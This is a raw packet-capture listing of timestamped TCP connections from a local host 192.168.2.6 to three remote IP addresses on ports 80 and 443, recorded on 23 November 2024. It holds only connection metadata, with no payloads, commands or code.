Nov 23, 2024 05:02:26.470187902 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.470252037 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.470335960 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.470994949 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.471091986 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.471103907 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.471275091 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.471776009 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.471838951 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.549209118 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.549293041 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.549403906 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.549403906 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.549442053 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.549529076 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.549535990 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.549566031 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.550298929 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.550379038 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.550407887 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.550463915 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.551141024 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.551211119 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.551248074 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.551299095 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.551974058 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.552047968 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.552078009 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.552273035 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.552826881 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.552881002 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.552926064 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.553002119 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.553656101 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.553734064 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.553762913 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.553811073 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.554502010 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.554620028 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.554681063 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.554681063 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.555356026 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.555464983 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.555469990 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.555555105 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.556225061 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.556314945 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.556323051 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.556386948 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.557054996 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.557107925 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.557173967 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.557264090 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.557895899 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.557982922 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.558000088 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.558130980 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.558748960 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.558832884 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.558857918 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.558911085 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.559601068 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.559683084 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.559695959 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.559750080 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:27.730608940 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:27.771295071 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:27.775713921 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:27.804117918 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:27.805773020 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:27.811840057 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:27.816211939 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:27.819499016 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:27.819513083 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:27.819998026 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:27.820003986 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:27.820336103 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:27.820353985 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:27.820822001 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:27.820827007 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:27.821147919 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:27.821152925 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:27.821511030 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:27.821515083 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:27.836721897 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:27.836751938 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:27.837445974 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:27.837457895 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:27.841105938 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:27.841124058 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:27.841727018 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:27.841737986 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:27.880249977 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:27.880347013 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:27.880434036 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:27.880759954 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:27.880793095 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:27.976807117 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:27.976834059 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:27.976907969 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:27.977216959 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:27.977232933 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:28.052541971 CET	49746	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:28.052598953 CET	443	49746	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:28.052706957 CET	49746	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:28.053030968 CET	49746	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:28.053056002 CET	443	49746	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:28.080135107 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:28.080180883 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:28.080274105 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:28.080729008 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:28.080745935 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:28.189054012 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.189157963 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.189210892 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.192524910 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.192524910 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.192547083 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.192555904 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.204807997 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.204845905 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.204894066 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.208209991 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.208226919 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.214939117 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.215097904 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.215158939 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.221648932 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.221679926 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.221694946 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.221703053 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.238610029 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.238688946 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.238742113 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.240241051 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.240247965 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.240261078 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.240266085 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.246721983 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.246812105 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.246859074 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.249861002 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.249937057 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.250027895 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.254120111 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.254158974 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.254220963 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.255639076 CET	49750	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.255669117 CET	443	49750	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.255737066 CET	49750	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.255992889 CET	49750	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.256012917 CET	443	49750	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.256268024 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.256280899 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.256293058 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.256299019 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.256731033 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.256731033 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.256748915 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.256761074 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.258193970 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.258208990 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.262650013 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.262670994 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.262733936 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.262974977 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.262999058 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.266577959 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.266616106 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:28.266704082 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.267584085 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:28.267601967 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:29.629324913 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.630263090 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.630306959 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.631570101 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.631643057 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.632644892 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.632720947 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.632875919 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.632894039 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.682485104 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.715035915 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.716480970 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.716505051 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.717935085 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.717999935 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.718322039 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.718400002 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.718441963 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.759340048 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.760624886 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.760639906 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.773659945 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.778177023 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.778188944 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.779191017 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.779261112 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.779527903 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.779584885 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.779695034 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.794044971 CET	443	49746	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.794712067 CET	49746	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.794735909 CET	443	49746	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.795984030 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.796073914 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.796176910 CET	443	49746	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.796246052 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.796271086 CET	49746	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.796581984 CET	49746	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.796667099 CET	443	49746	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.796696901 CET	49746	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.827374935 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.828423023 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.828433037 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.837517023 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:29.838340044 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:29.838356972 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:29.838773012 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:29.838784933 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:29.839339972 CET	443	49746	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.854134083 CET	49746	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.854173899 CET	443	49746	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:29.869721889 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.901014090 CET	49746	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:29.925580025 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:29.926084995 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:29.926148891 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:29.926521063 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:29.926538944 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:29.981261969 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:29.984066963 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:29.984092951 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:29.984580994 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:29.984589100 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.037705898 CET	443	49750	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.038156033 CET	49750	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.038189888 CET	443	49750	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.038654089 CET	49750	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.038660049 CET	443	49750	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.112148046 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.112607956 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.112627983 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.113130093 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.113136053 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.150300026 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:30.150379896 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:30.280847073 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.280977964 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.281032085 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.282134056 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.282134056 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.282155037 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.282165051 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.284610033 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.284677982 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.284756899 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.284903049 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.284919024 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.359416962 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.359479904 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.359535933 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.359687090 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.359704971 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.359714985 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.359719992 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.362133026 CET	49756	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.362169027 CET	443	49756	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.362258911 CET	49756	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.362365007 CET	49756	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.362377882 CET	443	49756	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.458868980 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.458944082 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.459022045 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.459196091 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.459213972 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.459245920 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.459259987 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.461999893 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.462033033 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.462109089 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.462347031 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.462359905 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.512123108 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.512552977 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.512650967 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.513770103 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.513789892 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.535031080 CET	443	49750	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.535221100 CET	443	49750	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.535290003 CET	49750	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.535429955 CET	49750	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.535446882 CET	443	49750	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.535454988 CET	49750	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.535459995 CET	443	49750	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.538835049 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.538908005 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.539014101 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.539144993 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.539165974 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.565558910 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.565732002 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.565826893 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.565892935 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.565907955 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.565948009 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.565957069 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.569000006 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.569041967 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.569118023 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.569278955 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:30.569309950 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:30.637389898 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.637459993 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.637496948 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.637526989 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.637527943 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.637554884 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.637574911 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.664724112 CET	443	49746	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.664961100 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.664998055 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.665030003 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.665043116 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.665065050 CET	443	49746	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.665118933 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.665133953 CET	49746	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.669210911 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.671576023 CET	49746	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.671593904 CET	443	49746	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.678231955 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.678394079 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.678406954 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.678414106 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.678477049 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.686639071 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.728805065 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.823656082 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.831239939 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.831336021 CET	49747	443	192.168.2.6	142.250.181.68
